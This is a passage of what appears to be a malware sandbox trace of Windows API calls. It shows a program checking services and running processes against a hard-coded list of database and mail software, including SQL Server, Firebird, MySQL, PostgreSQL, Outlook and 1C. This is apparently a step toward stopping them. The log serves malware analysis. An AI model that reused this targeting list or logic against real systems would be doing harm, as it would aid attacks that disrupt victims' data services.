lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.803] lstrlenW (lpString="ProfSvc") returned 7 [0043.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.804] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.804] lstrlenW (lpString="RpcSs") returned 5 [0043.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.804] lstrlenW (lpString="SamSs") returned 5 [0043.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.805] lstrlenW (lpString="Schedule") returned 8 [0043.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.805] lstrlenW (lpString="SENS") returned 4 [0043.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.805] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.806] lstrlenW (lpString="Spooler") returned 7 [0043.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.806] lstrlenW (lpString="SysMain") returned 7 [0043.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.806] lstrlenW (lpString="Themes") returned 6 [0043.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.806] lstrlenW (lpString="TrkWks") returned 6 [0043.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.806] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.806] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.807] lstrlenW (lpString="UxSms") returned 5 [0043.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.807] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.807] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.807] lstrlenW (lpString="VSS") returned 3 [0043.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0043.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0043.807] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0043.807] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0043.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0043.807] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.807] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.807] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.808] lstrlenW (lpString="Winmgmt") returned 7 [0043.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.808] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x607b80 | out: hHeap=0x510000) returned 1 [0043.808] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0043.810] Process32FirstW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.810] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.811] lstrlenW (lpString="System") returned 6 [0043.811] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.811] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.811] lstrlenW (lpString="smss.exe") returned 8 [0043.811] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.811] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.812] lstrlenW (lpString="csrss.exe") returned 9 [0043.812] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.812] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.812] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.812] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.813] lstrlenW (lpString="wininit.exe") returned 11 [0043.813] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0043.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0043.813] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.813] lstrlenW (lpString="csrss.exe") returned 9 [0043.813] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.814] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.814] lstrlenW (lpString="winlogon.exe") returned 12 [0043.814] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.814] lstrlenW (lpString="services.exe") returned 12 [0043.814] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.815] lstrlenW (lpString="lsass.exe") returned 9 [0043.815] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.815] lstrlenW (lpString="lsm.exe") returned 7 [0043.815] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.815] lstrlenW (lpString="svchost.exe") returned 11 [0043.815] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.816] lstrlenW (lpString="svchost.exe") returned 11 [0043.816] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.816] lstrlenW (lpString="svchost.exe") returned 11 [0043.816] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.816] lstrlenW (lpString="svchost.exe") returned 11 [0043.816] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.817] lstrlenW (lpString="svchost.exe") returned 11 [0043.817] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.817] lstrlenW (lpString="audiodg.exe") returned 11 [0043.817] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.817] lstrlenW (lpString="svchost.exe") returned 11 [0043.817] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.818] lstrlenW (lpString="svchost.exe") returned 11 [0043.818] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.818] lstrlenW (lpString="dwm.exe") returned 7 [0043.818] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.818] lstrlenW (lpString="explorer.exe") returned 12 [0043.818] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.819] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.819] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.819] lstrlenW (lpString="taskhost.exe") returned 12 [0043.819] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.819] lstrlenW (lpString="svchost.exe") returned 11 [0043.820] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.820] lstrlenW (lpString="taskeng.exe") returned 11 [0043.820] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.820] lstrlenW (lpString="taskhost.exe") returned 12 [0043.820] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0043.820] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0043.820] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0043.821] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0043.821] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0043.821] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0043.821] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0043.821] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0043.821] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0043.822] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0043.822] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0043.822] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0043.822] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0043.822] lstrlenW (lpString="toyota.exe") returned 10 [0043.822] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0043.822] lstrlenW (lpString="radiation.exe") returned 13 [0043.822] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0043.823] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0043.823] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0043.823] lstrlenW (lpString="ur illustration.exe") returned 19 [0043.823] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0043.823] lstrlenW (lpString="facing.exe") returned 10 [0043.823] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0043.824] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0043.824] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0043.824] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0043.824] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0043.824] lstrlenW (lpString="headline.exe") returned 12 [0043.824] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0043.824] lstrlenW (lpString="army_unsigned.exe") returned 17 [0043.824] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0043.825] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0043.825] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: 